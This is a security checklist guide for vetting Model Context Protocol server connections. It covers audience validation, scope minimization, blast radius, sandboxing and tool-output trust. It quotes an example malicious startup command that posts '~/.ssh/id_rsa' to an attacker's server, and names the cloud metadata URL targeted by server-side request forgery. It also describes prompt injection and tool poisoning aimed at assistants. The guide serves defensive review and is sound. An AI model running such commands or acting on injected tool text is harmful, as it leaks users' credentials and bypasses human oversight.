MCP Readiness Checklist

Connecting an MCP server feels like flipping a switch, and that is exactly the problem. Maya enables a GitHub server so the assistant can fetch a merged pull request's title on its own, dropping eleven copy-pastes a week to zero. The convenience is real. So is what she just did: she handed a running process her GitHub token and let it act with her access. The Model Context Protocol is an open standard for letting an assistant call an external tool through a small server, a Postgres query, a Jira lookup, a Sentry trace. The server runs as a process with your credentials, and that is the part a quick "looks useful, enable it" skips right over.

The 2026 security literature on MCP is blunt about where this goes wrong. The official Security Best Practices document (a companion to the authorization spec, with the 2025-11-25 revision as the current stable release) names five attack families a reviewer has to think about. Token passthrough is forbidden outright: a server MUST NOT accept tokens that were not issued for it, because forwarding your token to a downstream API turns the server into a confused deputy and a proxy for data exfiltration. The confused deputy attack lets a malicious client skip a consent screen using a leftover consent cookie and a dynamically registered redirect URI, walking off with an authorization code. Server-side request forgery lets a hostile server hand the client a URL pointing at http://169.254.169.254/, the cloud metadata endpoint, and read back IAM credentials. Session hijacking and local server compromise round out the list, the latter as stark as a startup command that quietly runs curl -X POST -d @~/.ssh/id_rsa against an attacker's server.

None of these require Maya to be careless in the moment. They require her to skip the questions once, at connection time, and then forget. The cost of skipping this gate is that a useful integration becomes a standing hole that nobody is watching. The checklist exists so the questions get asked while the decision is still reversible, before the server is in the shared config and three teammates are depending on it. It is a small tax on the first connection that buys you a bounded blast radius for the life of the integration.

The difference between a checklist that protects you and one that rubber-stamps the decision is whether each line cites a check or states a mood. Walk the same line two ways and the gap is obvious.

Audience validation. A weak entry reads "auth is handled, the team set it up." That is a feeling, not a fact, and it passes a compromised server straight through. A strong entry reads "the server is registered as an OAuth 2.1 resource server and rejects any token whose aud claim is not this server; it uses its own scoped credential for the upstream GitHub call rather than forwarding mine." The second one names the spec behavior (MUST NOT accept tokens not issued for it, per RFC 8707 audience validation) and tells you the passthrough anti-pattern is closed. If you cannot say which of the two you have, you have the weak one.

Least access. A weak entry is "scopes look fine." A strong entry is "the default config requested repo:write; we only read, so we re-scoped to read-only on our two repositories and declined the rest." The strong version did the work the spec calls scope minimization: start from the narrowest set, and let the server challenge for more only when a privileged operation is actually attempted. Wildcard or omnibus scopes (files:*, full-access) are the tell that nobody minimized anything, and they widen the blast radius of every leaked token.

Blast radius. A weak entry says "seems low risk." A strong entry says "one leaked token exposes read-only access to two repos, nothing writable, and I can revoke it in the GitHub app settings in under a minute." The strong version answers two concrete questions, what is exposed and how fast can you cut it, and the answers are bounded. "Everything, and I am not sure how to revoke it" is a no, not a low.

Apply the same discipline to the rest. Source trusted means you verified the exact package name against typosquats, scanned dependencies, and pinned a version, not that the README looked professional. Output untrusted means you have internalized that a pull request body or a tool description is attacker-controllable text: the two named patterns are prompt injection, where untrusted content smuggles instructions, and tool poisoning, where a server hides instructions in its tool descriptions. The handling is to summarize tool output rather than auto-act on it, and to keep a human between the output and any high-risk action. Local containment means you saw the full untruncated startup command before it ran and the server is sandboxed over stdio, because a local server runs with your privileges and a one-click config can smuggle a malicious command. Fill every line as a check you performed, in the past tense, with a specific noun in it.

A few traps make this checklist feel done while leaving the real work undone.

• "Auth is handled" as a thought-stopper. The single most common failure is accepting a vague reassurance for the audience and passthrough lines. These are the lines that prevent a confused-deputy or token-theft incident, so they deserve a concrete answer or a blocked connection, never a shrug.
• Checking once and never again. A rug pull is when a server you already approved silently changes a tool's definition after the fact, because MCP has no built-in integrity check on tool definitions. If you only review at first connection, you never see the swap. Pin the exact version, and re-run the gate when the version moves.
• Over-broad scopes "to save a future prompt." Granting repo:write when you only read, so you do not have to re-consent later, is precisely the scope inflation the spec warns against. It turns a read-only leak into a write-access leak.
• Trusting tool output. Letting the assistant act on a Jira description or a PR body as if it were a trusted instruction is how prompt injection reaches your systems. Treat every byte that crosses the server boundary as untrusted.
• No logging on day one. If tool-call logging is off, an incident is invisible and uninvestigable. Turn it on before the first real call, not after the first scare.
• Unsandboxed local servers. Running a downloaded binary or an npx command without seeing the startup command, and without a sandbox, hands arbitrary code your full privileges. Use stdio, restrict the filesystem and network, and read the command.

On a team the gate changes shape. The first time anyone connects a server, the review is thorough and a second person reads the auth and scope lines. After that, ownership matters more than repetition: one person, Priya in our running example, owns each connection, so there is a named human who re-reviews updates before they land in the shared config and who revokes the credential when the integration is retired. Match the rigor to the access, a read-only server on one repo can pass on a quick read, while a server that can write to production gets every line and a co-reviewer. When you are rolling a server out widely rather than enabling it for yourself, this checklist is one of three. The Agent Readiness Checklist decides whether a specific task is safe to let the assistant run through that server, and the Change Readiness Checklist decides whether the team is set up to adopt the new capability at all. For the deeper how-to on reading the scripts, hooks, and scopes an extension ships, the Skills, Plugins, and Extensions guide and the MCP and Tool-Connected AI workshop go field by field. On your next real connection, do one small thing: before you click approve, write the audience-validation line in your own words. If you cannot, you have found your first no.